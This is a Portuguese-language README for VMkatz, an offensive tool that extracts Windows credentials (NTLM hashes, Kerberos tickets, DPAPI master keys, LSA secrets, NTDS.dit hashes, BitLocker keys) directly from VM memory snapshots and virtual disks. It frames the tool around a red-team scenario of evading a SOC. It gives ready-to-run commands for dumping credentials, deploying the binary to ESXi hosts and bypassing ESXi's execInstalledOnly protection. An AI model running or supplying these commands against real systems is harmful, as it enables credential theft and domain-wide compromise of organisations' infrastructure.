
Extrair credenciais do Windows diretamente de snapshots de memória de VM e discos virtuais
Você está na terceira semana de uma operação de red team. Seu tráfego passa por uma VPN, depois salta através de quatro proxies SOCKS encadeados em caixas de salto comprometidas antes de tocar na rede alvo. Cada pacote faz o caminho mais longo.
Após dias de movimento lateral, você chega a um NAS conectado ao cluster de virtualização e a listagem de diretórios é diferente: fileiras e fileiras de .vmdk, .vmsn, .sav. Centenas de gigabytes de máquinas virtuais — controladores de domínio, estações de trabalho de administradores, as joias da coroa — bem ali.
Mas seu link mal atinge 200 KB/s. Baixar uma única imagem de disco de 100 GB levaria seis dias, e cada hora de exfiltração contínua é mais uma chance do SOC detectar a anomalia, queimar seu túnel, e toda a cadeia desmoronar.
VMkatz existe porque você não deveria ter que exfiltrar o que pode ler no local. Ele extrai segredos do Windows — hashes NTLM, chaves mestre DPAPI, tickets Kerberos, credenciais de domínio em cache, segredos LSA, NTDS.dit, chaves BitLocker — diretamente de snapshots de memória de VM e discos virtuais, no NAS, no hipervisor, onde quer que os arquivos da VM estejam.
Um único binário estático, ~3 MB. Solte-o no host ESXi, no nó Proxmox ou no NAS. Aponte-o para um .vmsn, .vmdk ou uma pasta inteira de VM. Saia com credenciais, não imagens de disco.
Todos os 9 provedores de credenciais SSP que o mimikatz implementa:
Além disso: Extração de FVEK do BitLocker da memória (varredura de tag de pool por FVEc/Cngb).
$DPAPImk$ — modos 15300/15310/15900/15910)SO alvo: Windows Server 2003 até Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Quando a proteção VIB (execInstalledOnly) está ativada, use o carregador Python — não é necessário desabilitar a configuração:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Veja docs/esxi.md para detalhes sobre bypass VIB, acesso a dispositivos brutos VMFS e descoberta automática.
VMkatz é modular. As funcionalidades podem ser ativadas/desativadas no momento da compilação:
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
| Provedor | Dados | Notas |
|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Fallback de varredura física para entradas paginadas |
| WDigest | Senhas em texto puro | Percorrimento de lista ligada + fallback .data |
| Kerberos | Chaves AES/RC4/DES, tickets (.kirbi/.ccache) | Percorrimento de árvore AVL + escavação de tickets para sessões liberadas |
| TsPkg | Senhas em texto puro | Apenas sessões RDP |
| DPAPI | Cache de chave mestre (GUID + chave decriptada) | Chave mestre SHA1 para descriptografia offline DPAPI |
| SSP | Credenciais em texto puro | SspCredentialList em msv1_0.dll |
| LiveSSP | Credenciais em texto puro | Requer livessp.dll (raro pós-Win8) |
| Credman | Credenciais armazenadas | Enumeração de tabela hash + lista única |
| CloudAP | Tokens do Azure AD | Geralmente vazio para logon apenas local |
| Formato | Extensões | Origem | Status |
|---|
| Snapshots VMware | .vmsn + .vmem | Workstation, ESXi | Testado |
| Snapshots embutidos VMware | .vmsn (sem .vmem) | Suspensão ESXi | Testado |
| Estados salvos VirtualBox | .sav | VirtualBox | Testado |
| Estados savevm QEMU/KVM | detectado automaticamente | Proxmox, QEMU | Testado |
| Core dumps ELF QEMU/KVM | .elf | virsh dump | Testado |
| Estados salvos Hyper-V | .vmrs | Hyper-V 2016+ | Não testado |
| Discos virtuais VMware | .vmdk (esparso + plano) | Workstation, ESXi | Testado |
| Discos virtuais VirtualBox | .vdi | VirtualBox | Testado |
| Discos virtuais QEMU/KVM | .qcow2 | QEMU, Proxmox | Testado |
| Discos virtuais Hyper-V | .vhdx, .vhd | Hyper-V | Testado |
| Dispositivos SCSI brutos VMFS-5/6 | /dev/disks/... | ESXi (ignora bloqueios de arquivo) | Testado |
| Dispositivos de bloco LVM | /dev/... | Proxmox LVM-thin | Testado |
| Hives de registro brutos | SAM, SYSTEM, SECURITY | reg save | Testado |
| NTDS.dit bruto | ntds.dit + SYSTEM | Controlador de domínio | Testado |
| Minidump LSASS | .dmp | procdump, Gerenciador de Tarefas | Testado |
| Diretórios de VM | qualquer pasta | Descobre automaticamente todos os arquivos | Testado |
| Formato | Bandeira | Descrição |
|---|
text | --format text (padrão) | Despejo completo de credenciais com metadados de sessão |
brief | --format brief | Resumo compacto de uma linha por credencial |
ntlm | --format ntlm | DOMAIN\user:::hash::: formato pwdump |
hashcat | --format hashcat | Hashes brutos: modo 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Legível por máquina, todos os campos |
| Funcionalidade | Descrição | Padrão |
|---|
vmware | Suporte a snapshots VMware .vmsn/.vmem | Sim |
vbox | Suporte a estados salvos VirtualBox .sav | Sim |
qemu | Core dumps ELF QEMU/KVM + savevm Proxmox | Sim |
hyperv | Suporte a despejo Hyper-V .vmrs/.bin/.raw | Sim |
sam | Extração de disco (SAM/LSA/DCC2) + manipuladores de formato de disco | Sim |
ntds.dit | Extração NTDS.dit AD. Requer sam | Sim |
carve | Extração degradada de memória parcial/truncada | Sim |
dump | Despejo de memória de processo como minidump | Sim |
vmfs | Parser bruto VMFS-5/6 para dispositivos SCSI ESXi. Requer sam | Sim |